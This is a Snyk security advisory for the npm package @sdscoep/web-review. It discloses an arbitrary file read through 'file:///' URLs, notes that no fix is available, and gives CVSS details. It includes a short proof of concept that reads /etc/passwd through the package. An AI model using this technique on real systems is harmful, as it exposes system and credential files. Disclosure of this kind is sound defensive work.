Arbitrary File Read Affecting @sdscoep/web-review package, versions *


Severity

0.0
medium
0
10

    Threat Intelligence

    Exploit Maturity
    Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-SDSCOEPWEBREVIEW-1053230
  • published 21 Dec 2020
  • disclosed 20 Dec 2020
  • credit Sam Sanoop of Snyk Security Team

Introduced: 20 Dec 2020

CVE NOT AVAILABLE CWE-284 Open this link in a new tab
First added by Snyk

How to fix?

There is no fixed version for @sdscoep/web-review.

Overview

@sdscoep/web-review is a npm package which will compile reports consisting of multiple criteria.

Affected versions of this package are vulnerable to Arbitrary File Read. It is possible to read arbitrary file by using the "file:///" URI as a url.

PoC

const webReview = require("@sdscoep/web-review");

webReview.exec([ { url: "file:///etc/passwd", resolution: ["480x320"], } ]);

CVSS Scores

version 3.1
Expand this section

Snyk

6.5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    Low
  • Integrity (I)
    Low
  • Availability (A)
    None